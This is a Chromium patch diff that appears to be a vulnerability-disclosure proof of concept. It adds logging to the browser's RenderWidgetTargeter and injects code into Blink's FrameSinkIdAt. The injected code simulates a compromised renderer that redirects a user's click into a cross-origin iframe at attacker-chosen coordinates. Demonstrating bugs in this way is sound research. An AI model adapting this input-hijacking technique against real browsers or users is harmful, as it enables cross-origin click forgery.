diff --git a/components/input/render_widget_targeter.cc b/components/input/render_widget_targeter.cc index f9b93b05eb575..e3d0f56382799 100644 --- a/components/input/render_widget_targeter.cc +++ b/components/input/render_widget_targeter.cc @@ -8,6 +8,7 @@ #include #include "base/functional/bind.h" +#include "base/logging.h" #include "base/functional/callback.h" #include "base/memory/weak_ptr.h" #include "base/metrics/histogram_functions.h" @@ -401,6 +402,20 @@ void RenderWidgetTargeter::FoundFrameSinkId( gfx::PointF final_location = resolved_view ? transformed_location : target_location; + // POC INSTRUMENTATION (browser process): show that the renderer-supplied + // |transformed_location| is accepted verbatim and that the resolved view + // passed the descendant check. + LOG(ERROR) << "[POC-BROWSER] FoundFrameSinkId: queried_view=" << target.get() + << " browser_asked_at=" << target_location.ToString() + << " renderer_returned_frame_sink=" << frame_sink_id.ToString() + << " renderer_returned_local_point=" + << transformed_location.ToString() + << " resolved_view=" << resolved_view + << " final_view=" << final_view + << " final_location=" << final_location.ToString() + << " (descendant check " + << (resolved_view ? "PASSED" : "rejected/none") << ")"; + // If a client returned an embedded target, then it might be necessary to // continue asking the clients until a client claims an event for itself. if (final_view == target.get() || diff --git a/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc b/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc index f553441d015a6..9ee5d4921298c 100644 --- a/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc +++ b/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc @@ -34,6 +34,7 @@ #include #include "base/auto_reset.h" +#include "base/logging.h" #include "base/containers/to_vector.h" #include "base/debug/crash_logging.h" #include "base/debug/dump_without_crashing.h" @@ -873,6 +874,45 @@ void WebFrameWidgetImpl::FrameSinkIdAt(const gfx::PointF& point, TRACE_EVENT("viz,benchmark", "Event.Pipeline", perfetto::Flow::Global(trace_id), "step", "FrameSinkIdAt"); + // === POC INJECTION: simulate a compromised renderer ==================== + // When this widget belongs to the attacker page, do not perform an honest + // hit test. Instead, name the embedded cross-origin child as the target and + // return an attacker-chosen local_point. The browser-side + // RenderWidgetTargeter::FoundFrameSinkId trusts local_point with no + // validation, so the click will be dispatched to the cross-origin victim + // at coordinates entirely controlled by this (compromised) renderer. + if (LocalFrame* root = local_root_ ? local_root_->GetFrame() : nullptr) { + Document* doc = root->GetDocument(); + if (doc && doc->Url().GetString().find("attacker") != kNotFound) { + viz::FrameSinkId hijack_id; + ForEachRemoteFrameControlledByWidget([&hijack_id](RemoteFrame* rf) { + if (!hijack_id.is_valid()) { + hijack_id = rf->GetFrameSinkId(); + } + }); + if (hijack_id.is_valid()) { + // Attacker-chosen coordinates inside the victim's widget space. The + // user clicked at |point| (e.g. 70,70); we tell the browser the click + // really landed at (15,15) in the cross-origin child. The browser + // performs no clamping or sanity-check on this value; values outside + // the child's visual viewport (e.g. 300,300 for a 100x100 iframe) are + // also dispatched verbatim. + const gfx::PointF malicious(15, 15); + LOG(ERROR) << "[POC-ATTACKER-RENDERER] Hijacking FrameSinkIdAt: " + << "browser asked for point " << point.ToString() + << "; returning child FrameSinkId=" + << hijack_id.ToString() + << " with attacker-chosen local_point=" + << malicious.ToString(); + std::move(callback).Run(hijack_id, malicious); + return; + } + LOG(ERROR) << "[POC-ATTACKER-RENDERER] No remote child found; " + << "falling through to honest hit test."; + } + } + // === POC INJECTION END ================================================= + gfx::PointF local_point; viz::FrameSinkId id = GetFrameSinkIdAtPoint(point, &local_point); std::move(callback).Run(id, local_point);